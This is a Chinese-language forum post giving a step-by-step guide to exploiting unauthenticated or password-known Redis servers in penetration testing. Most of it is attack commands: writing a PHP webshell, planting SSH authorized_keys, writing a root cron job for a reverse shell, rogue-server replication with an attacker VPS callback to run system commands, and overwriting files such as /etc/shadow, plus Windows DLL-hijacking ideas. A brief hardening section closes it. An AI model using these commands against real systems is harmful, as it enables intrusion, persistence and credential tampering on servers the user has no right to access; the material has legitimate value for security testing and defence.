標題:Redis 在滲透測試中常見的利用方式

taibeihacker

Moderator

Redis 在渗透测试中常见的利用方式​

本文主要以redis 未授權或已知redis 口令為前提進行漏洞利用
20200525095914.png-water_print

1 写入 webshell​

條件:
已知web 目錄絕對路徑
擁有該目錄下的可寫權限
查看所有鍵,創建新鍵,鍵值為webshell,這里以寫入phpinfo 進行一個演示。
因為創建新鍵賦鍵值會把原來的鍵值覆蓋,所以需要在賦值的時候需要查看所有的鍵,然後選擇一個沒有的鍵創建賦值。
1
2
3
keys *
set x '\n\n?php pnpinfo();\n'
get x
20200525100009.png-water_print

查看redis 數據庫配置信息,因為我們寫Webshell 會修改dir 和dbfilename,所以這裡查看配置信息主要記下原來的值,好在寫入後修改回來。
1
config get *
20200525100101.png-water_print

20200525100117.png-water_print

設置webshell 輸出目錄和文件名,然後寫入Webshell。
1
2
3
config set dir /var/www # 設置文件寫入目錄
config set dbfilename 1.php # 設置寫入文件名
save # 保存
20200525101443.png-water_print

最後,再還原數據庫配置。

2 写入 ssh 公钥​

條件:
已知啟動服務的用戶
擁有.ssh 目錄
允許使用基於密鑰認證的方式登陸

2.1 生成公私钥对​

1
ssh-keygen -t rsa # 生成公鑰和私鑰

2.2 利用 redis config 写文件​

1
2
3
4
set x '\n\n公鑰內容\n'
config set dir /home/user/.ssh
config set dbfilename authorized_keys
save

2.3 利用公私钥对登录​

1
ssh -i id_rsa user@ip

3 写定时任务反弹 shell​

條件:
擁有計劃任務目錄寫權限
目標啟動計劃服務
1
2
3
4
5
6
7
keys * 查看所有鍵
set x '\n\n計劃任務內容\n\n'
config get *
config set dir /var/spool/cron
config set dbfilename root
save 保存,完成文件寫入
del x 刪除創建的x鍵

4 主从复制​

4.1 加载扩展模块执行系统命令​

具體的原理在之前漏洞復現的文章中已經解釋過。
腳本地址:https://github.com/Dliv3/redis-rogue-server
主動連接模式:
參數說明
--rpasswd 如果目標Redis 服務開啟了認證功能,可以通過該選項指定密碼
--rhost 目標redis 服務IP
--rport 目標redis 服務端口,默認為6379
--lhost vps 的外網IP 地址
--lport vps 監控的端口,默認為21000
1
python3 redis-rogue-server.py --rhost target address --rport target port --lhost vps address --lport vps port
20200525104637.png-water_print

被動連接模式:
適用於目標Redis服務處於內網的情況
通過SSRF 攻擊Redis
內網Redis 未授權訪問/已知Redis 口令,Redis 需要反向連接redis rogue server
1
python3 redis-rogue-server.py --server-only

4.2 主从复制写入纯净文件​

在linux 下,可以利用SYNC 主從同步,來直接寫入無雜質的文件,腳本如下:
此腳本是通過Redis 主從寫出無損文件,可用於Windows 平台下寫出無損的EXE、DLL、 LNK 和Linux 下的SO 等二進製文件
也可以用無雜質覆寫Linux 中的/etc/shadow
1
python3 RedisWriteFile.py --rhost 172.17.0.2 --rport 6379 --lhost 172.17.0.1 --lport 4444 --rpath '/var/www' --rfile 'test.php' --lfile './phpinfo.php'
20200525104700.png-water_print

20200525104744.png-water_print

上述方法主要是針對linux,當windows 上未開啟web 服務時,該如何getshell?
下面介紹下redis 在windows 下的常見打法:
系統DLL 劫持(目標重啟或註銷)
針對特定軟件的DLL 劫持(目標一次點擊)
覆寫目標的快捷方式(目標一次點擊)
覆寫特定軟件的配置文件達到提權目的(目標無需點擊或一次點擊)
覆寫sethc.exe 等文件(攻擊方一次觸發)
參考:http://r3start.net/index.php/2020/05/25/717

5 漏洞修复​

設置密碼認證
盡量以低權限來運行Redis 服務
限制登錄IP
 
返回
上方